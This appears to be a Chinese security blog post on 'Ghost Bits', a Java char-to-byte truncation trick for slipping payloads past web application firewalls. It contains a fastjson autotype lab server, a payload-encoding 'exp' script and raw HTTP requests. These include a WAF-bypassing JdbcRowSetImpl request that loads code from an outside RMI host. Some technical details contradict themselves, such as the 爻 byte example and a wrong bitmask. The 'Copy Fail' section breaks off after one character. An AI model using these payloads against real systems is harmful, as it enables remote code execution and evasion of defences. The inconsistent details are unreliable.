这两个都是最近比较有意思的漏洞,一个是应用层的,一个是系统层的,咱们一个一个来
Ghost Bits
这个中文叫做幽灵比特位,在 Black Hat Asia 2026 被 1ue 和 浅蓝 披露,其原理就是 Java 中 char 转 byte 时高位静默丢弃的底层缺陷,简单来说就是字节转换的问题,在 Java 中 char 为 16 位字节,byte 仅 8 位,如果我们把代码强制转换 (byte) ch 或 ch & 0xfffffff,则高 8 位直接丢失,只保留低 8 位,这脑洞能想出来也是真的牛逼,藏了这么久
攻击者用Unicode 字符(中文 / 特殊符号) 绕过 WAF 检测,后端执行时低 8 位还原为危险 ASCII:
- 陪(U+966A)→ 低 8 位 0x6A → j
- 阮(U+962E)→ 低 8 位 0x2E → .
- 瘍(U+760D)→ 低 8 位 0x0D → \r
- 瘊(U+760A)→ 低 8 位 0x0A → \n
WAF 看到中文,后端执行恶意代码,这就是幽灵比特位的核心,以汉字「爻」(U+2F58)为例:
1 2
| 爻 → U+2F58 → 二进制:00101111 | 00111010 (byte) 转换后:高 8 位 0x2F 丢弃,低 8 位 0x3A → 'X'
|
影响算是特别大吧,很多场景都能 bypass
环境实验
笔者这里用的是 fastjson 1.2.83 (开启 autotype) + commons-collections4 (4.0),这里先打个基本的 calculator
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class BitsTest { public static class Calculator { public Calculator() throws Exception { java.lang.Runtime.getRuntime().exec("open -a Calculator.app"); } } public static void main(String[] args) { ParserConfig.getGlobalInstance().setSafeMode(false); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ParserConfig.getGlobalInstance().addAccept("BitsTest"); String payload = "{\"@type\":\"BitsTest$Calculator\"}"; Object obj = JSON.parseObject(payload, Object.class); } }
|
这里用某亭的 waf 测测看

可以发现很容易就被拦了,平时还是得多培养一些钻研精神,如果当时挖的 rce 知道有这种绕过方法就好了,然后来看一下绕过方法,网上都有轮子,随便找个跑一下就行(别被投毒了),或者用我这个精简版的
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import urllib.parse import sys def get_payload_v2(cmd, base_offset=0x9600): ghost_str = "".join(chr(base_offset + ord(c)) for c in cmd) url_encoded = urllib.parse.quote(ghost_str.encode('utf-8')) unicode_escape = "".join(f"\\u{ord(c):04x}" for c in ghost_str) return ghost_str, url_encoded, unicode_escape def main(): target_cmd = sys.argv[1] if len(sys.argv) > 1 else "@type" ghost_str, url_payload, uni_payload = get_payload_v2(target_cmd) print(target_cmd) print(ghost_str) print(url_payload) print(uni_payload) if __name__ == "__main__": main()
|
实战绕过
这就很有意思了,waf 看见的只会认为这是一串合理的中文,完全不知道是一个 payload,所以绕过率还是挺高的,回到刚才那个场景,简单启动一个 http 服务,然后塞入 poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| GET /exploit?data=%7B%22癀type%22%3A%22BitsTest%24Calculator%22%7D HTTP/1.1 Host: localhost:8080 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive
|
实验环境代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import java.io.IOException; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.URLDecoder; import java.util.HashMap; import java.util.Map; public class BitsTest { public static class Calculator { public Calculator() throws Exception { String os = System.getProperty("os.name").toLowerCase(); if (os.contains("win")) { Runtime.getRuntime().exec("calc"); } else if (os.contains("mac")) { Runtime.getRuntime().exec("open -a Calculator.app"); } else { Runtime.getRuntime().exec("xcalc"); } } } public static void main(String[] args) throws Exception { ParserConfig.getGlobalInstance().setSafeMode(false); ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ParserConfig.getGlobalInstance().addAccept("BitsTest"); int port = 8080; HttpServer server = HttpServer.create(new InetSocketAddress(port), 0); server.createContext("/exploit", new DynamicHandler()); server.setExecutor(null); server.start(); } static class DynamicHandler implements HttpHandler { @Override public void handle(HttpExchange exchange) throws IOException { String query = exchange.getRequestURI().getRawQuery(); Map<String, String> params = parseQuery(query); String payload = params.get("data"); String responseText; if (payload != null) { try { String decodedPayload = URLDecoder.decode(payload, "UTF-8"); Object obj = JSON.parse(decodedPayload); if (obj != null) { responseText = "Success: " + obj.getClass().getName(); } else { responseText = "Parsed result is null."; } } catch (Exception e) { responseText = "Error: " + e.toString(); e.printStackTrace(); } } else { responseText = "Usage: ?data={payload}"; } exchange.sendResponseHeaders(200, responseText.getBytes().length); OutputStream os = exchange.getResponseBody(); os.write(responseText.getBytes()); os.close(); } private Map<String, String> parseQuery(String query) { Map<String, String> result = new HashMap<>(); if (query == null) return result; String[] pairs = query.split("&"); for (String pair : pairs) { int idx = pair.indexOf("="); if (idx != -1) { String key = pair.substring(0, idx); String value = pair.substring(idx + 1); result.put(key, value); } } return result; } } }
|
你可以这样子发送
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| GET /exploit?data=%7B%22陀陴陹陰陥%22%3A%22BitsTest%24Calculator%22%7D HTTP/1.1 Host: localhost:8080 sec-ch-ua: "Not-A.Brand";v="24", "Chromium";v="146" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "macOS" Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: keep-alive
|

还挺好玩的,试试看能不能绕 waf
1 2 3 4 5 6 7 8 9
| GET /exploit?data=%7B%22%40type%22%3A%22BitsTest%24Calculator%22%2C%20%20%20%22b%22%3A%7B%0D%0A%20%20%20%20%20%20%20%20%22%40type%22%3A%22com%2Esun%2Erowset%2EJdbcRowSetImpl%22%2C%0D%0A%20%20%20%20%20%20%20%20%22dataSourceName%22%3A%22rmi%3A%2F%2Fnmsl%2Ecnm%3A9999%2FExploit%22%2C%0D%0A%20%20%20%20%20%20%20%20%22autoCommit%22%3Atrue%0D%0A%20%20%20%20%7D%7D HTTP/1.1 Host: 192.168.50.88:13232 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: sl-session=BK/NXLCC9Gkvh8ePXxn3uQ== Connection: keep-alive
|

然后尝试中文绕过
1 2 3 4 5 6 7 8 9 10 11
| GET /exploit?data=%7B%22%40type%22%3A%22BitsTest%24Calculator%22%2C%22b%22%3A%7B%22%40type%22%3A%22%E9%99%A3%E9%99%AF%E9%99%AD%E9%98%AE%E9%99%B3%E9%99%B5%E9%99%AE%E9%98%AE%E9%99%B2%E9%99%AF%E9%99%B7%E9%99%B3%E9%99%A5%E9%99%B4%E9%98%AE%E9%99%8A%E9%99%A4%E9%99%A2%E9%99%A3%E9%99%92%E9%99%AF%E9%99%B7%E9%99%93%E9%99%A5%E9%99%B4%E9%99%89%E9%99%AD%E9%99%B0%E9%99%AC%22%2C%22dataSourceName%22%3A%22%E9%99%B2%E9%99%AD%E9%99%A9%E9%98%BA%E9%98%AF%E9%98%AF%E9%99%AE%E9%99%AD%E9%99%B3%E9%99%AC%E9%98%AE%E9%99%A3%E9%99%AE%E9%99%AD%E9%98%BA%E9%98%B9%E9%98%B9%E9%98%B9%E9%98%B9%E9%98%AF%E9%99%85%E9%99%B8%E9%99%B0%E9%99%AC%E9%99%AF%E9%99%A9%E9%99%B4%22%2C%22autoCommit%22%3Atrue%7D%7D HTTP/1.1 Host: 192.168.50.88:13232 Accept-Language: zh-CN,zh;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Cookie: sl-session=BK/NXLCC9Gkvh8ePXxn3uQ== Connection: keep-alive
|

如何防御
网上防御姿势都写了,这里我就不贴出来了,给大家一个 prompt 吧,用 ai 来分析就行
Copy Fail
CVE编号:CVE-2026-31431
这
References
https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf